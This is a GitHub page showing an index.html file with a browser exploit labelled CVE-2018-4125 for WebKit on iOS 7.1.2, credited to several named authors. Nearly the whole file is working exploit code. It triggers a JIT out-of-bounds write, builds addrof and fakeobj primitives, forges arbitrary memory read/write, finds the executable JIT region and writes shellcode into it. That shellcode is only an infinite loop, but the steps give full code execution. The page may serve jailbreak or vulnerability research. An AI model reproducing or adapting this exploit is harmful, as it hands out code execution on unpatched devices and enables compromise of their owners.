-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
297 lines (253 loc) · 11.1 KB
/
index.html
File metadata and controls
297 lines (253 loc) · 11.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CVE-2018-4125</title>
<style>
body {
background: #0d0d0d;
color: #0f0;
font-family: "Courier New", monospace;
padding: 15px;
font-size: 13px;
line-height: 1.4;
}
.status {
color: #fff;
font-weight: bold;
border-bottom: 1px solid #333;
padding-bottom: 5px;
margin-bottom: 10px;
font-size: 16px;
}
.success {
color: #00ff00;
background: #003300;
padding: 2px;
}
.error {
color: #ff3333;
background: #330000;
padding: 2px;
}
.info { color: #00ccff; }
.warn { color: #ffaa00; }
button {
background: #333;
color: #fff;
border: 1px solid #0f0;
padding: 15px;
width: 100%;
font-size: 16px;
font-weight: bold;
margin-bottom: 15px;
cursor: pointer; }
button:active {
background: #0f0;
color: #000;
}
</style>
</head>
<body>
<div class="status">[ CVE-2018-4125, iOS 7.1.2 ]</div>
<button onclick="startResearch()">Start</button>
<div id="log"></div>
<script>
/*
CVE-2018-4125 by WanderingGlitch (https://x.com/wanderingglitch)
Original exploit poc by kudima (https://github.com/kudima)
Exploit rewrite and expanded support by staturnz (https://github.com/staturnzz)
Modified by duongddinh (https://github.com/duongddinh)
Original License below:
Copyright 2020, https://github.com/kudima
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
function print(msg, cls) {
var div = document.createElement("div");
if(cls) div.className = cls;
div.innerText = msg;
document.getElementById("log").appendChild(div);
window.scrollTo(0, document.body.scrollHeight);
}
var Memory = function() {
this.u32_f64_buf = new ArrayBuffer(0x8);
this.u32_array = new Uint32Array(this.u32_f64_buf);
this.f64_array = new Float64Array(this.u32_f64_buf);
this.f64_to_u32 = function(value) {
this.f64_array[0] = value;
return [this.u32_array[0], this.u32_array[1]];
}
this.u32_to_f64 = function(hi, lo) {
this.u32_array[0] = hi;
this.u32_array[1] = lo;
return this.f64_array[0];
}
this.oob_write = function(array, compare, value, index) {
array[0] = 1.1;
compare == 1;
array[index] = value;
return array[0];
}
}
function run_exploit() {
var mem = new Memory();
print("[*] Sequence started (32-bit)...", "info");
var oob_array = undefined;
var oob_storage = undefined;
try {
var array = {}; array.p = 1.1; array[0] = 1.1;
for (var i = 0; i < 15000; i++) mem.oob_write(array, {}, 1.1, 1);
oob_storage = [];
oob_storage[0] = 1.1;
var arr2 = {};
arr2.p = 1.1;
arr2[0] = 1.1;
var comparison = {
toString: function () {
arr2[1000] = 2.2;
oob_array = [1.1];
return '1';
}
};
mem.oob_write(arr2, comparison, mem.u32_to_f64(0x1000, 0x1000), 6);
if (!oob_array || oob_array.length < 10) throw new Error("Fence not broken.");
oob_storage[1000] = 2.2;
oob_array[4] = {};
print("[1] OOB Array Created: SUCCESS", "success");
} catch (e) {
print("[1] OOB Array Created: FAILED - " + e.message, "error");
return;
}
var addr_of = function(obj) {
oob_array[4] = obj;
return oob_storage.length;
}
var fakeobj = function(addr) {
oob_storage.length = addr;
return oob_array[4];
}
var struct_addr = 0;
var double_object = [];
var single_object = undefined;
try {
for (var i = 0; i < 0x10; i++) {
single_object = { p1: 1.1, p2: 2.2, p3: 1.1, p4: 1.1, p5: 1.1, p6: 1.1, p7: mem.u32_to_f64(0x4141, i) };
double_object.push(single_object);
}
var fake_obj_store = double_object.pop();
var struct_leak = double_object.pop();
struct_leak.rw0_f1 = 1.1;
struct_leak.rw0_f2 = 1.1;
struct_leak.rw0_f3 = 1.1;
struct_leak.rw0_f4 = 1.1;
var fake_obj_store_addr = addr_of(fake_obj_store);
fake_obj_store.p6 = mem.u32_to_f64(fake_obj_store_addr, 0x008015);
var fake_num = fakeobj(fake_obj_store_addr + 0x30);
var num_value = Number.prototype.valueOf.call(fake_num);
struct_addr = mem.f64_to_u32(num_value)[1];
if (struct_addr === 0) throw new Error("Leak failed.");
print("[2] Structure ID Leaked: 0x" + struct_addr.toString(16), "success");
} catch (e) {
print("[2] Structure ID Leak: FAILED " + e.message, "error");
return;
}
var rw0_main = undefined;
var u32_rw_array = undefined;
try {
var array_buf = new ArrayBuffer(0x20);
u32_rw_array = new Uint32Array(array_buf, 4);
var obj_rw0 = {
p1: mem.u32_to_f64(struct_addr, addr_of(u32_rw_array) + 0x28),
p2: 1.1
};
rw0_main = fakeobj(addr_of(obj_rw0) + 0x8);
print("[3] RW Butterfly Forged: SUCCESS", "success");
} catch (e) {
print("[3] RW Butterfly Forged: FAILED " + e.message, "error");
return;
}
var read32 = function(addr) {
var lo_hi = mem.f64_to_u32(rw0_main.rw0_f2);
rw0_main.rw0_f2 = mem.u32_to_f64(lo_hi[0], addr);
var value = u32_rw_array[0];
rw0_main.rw0_f2 = mem.u32_to_f64(lo_hi[0], lo_hi[1]);
return value;
};
var write32 = function(addr, value) {
var lo_hi = mem.f64_to_u32(rw0_main.rw0_f2);
rw0_main.rw0_f2 = mem.u32_to_f64(lo_hi[0], addr);
u32_rw_array[0] = (value & 0xffffffff);
rw0_main.rw0_f2 = mem.u32_to_f64(lo_hi[0], lo_hi[1]);
};
try {
single_object = { p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1 };
for (var i = 0; i < 8; i++) {
read32(addr_of(single_object));
write32(addr_of(single_object) + 0x8, 0);
}
print("[4] Primitive Stabilization Loop: SUCCESS", "success");
} catch(e) {
print("[4] Stabilization: FAILED ", "error");
return;
}
try {
var test_buf = new ArrayBuffer(0x20);
var test_addr = addr_of(test_buf);
var original_bytes = read32(test_addr);
write32(test_addr, 0x41414141);
var validation_read = read32(test_addr);
write32(test_addr, original_bytes);
if (validation_read !== 0x41414141) throw new Error("Read/Write primitive validation mismatch.");
print("[5] Primitive Validated (Wrote/Read 0x41414141): SUCCESS", "success");
} catch (e) {
print("[5] Validation Test: FAILED " + e.message, "error");
return;
}
try {
var jit_data = "var obj = {};";
for (var i = 0; i < 100; i++) jit_data += "obj.p = 1.1;";
jit_data += "return true;";
var jit_func = new Function('x', jit_data);
for (var i = 0; i < 1000; i++) jit_func();
var func_addr = addr_of(jit_func);
var executable_addr = read32(func_addr + 0xc);
var jit_addr = read32(executable_addr + 0x14) - 1;
if (jit_addr <= 0) throw new Error("Pointer traversal resulted in empty address.");
print("[6] RWX JIT Memory Region Extracted: 0x" + jit_addr.toString(16), "success");
print("[7] Injecting Thumb-2 Infinite Loop...", "info");
var hang_payload = 0xE7FEE7FE;
write32(jit_addr + 0x0, hang_payload);
print(" -> Wrote 0xE7FEE7FE (Infinite Loop)", "success");
print("[8] Executing Shellcode. The browser should now FREEZE, not crash...", "warn");
setTimeout(function() {
jit_func(true);
print("[-] Failed: CPU ignored the loop.", "error");
}, 50);
} catch (e) {
print("[6] JIT Memory Discovery: FAILED " + e.message, "error");
}
}
function startResearch() {
document.getElementById("log").innerHTML = "";
setTimeout(run_exploit, 500);
}
</script>
</body>
</html>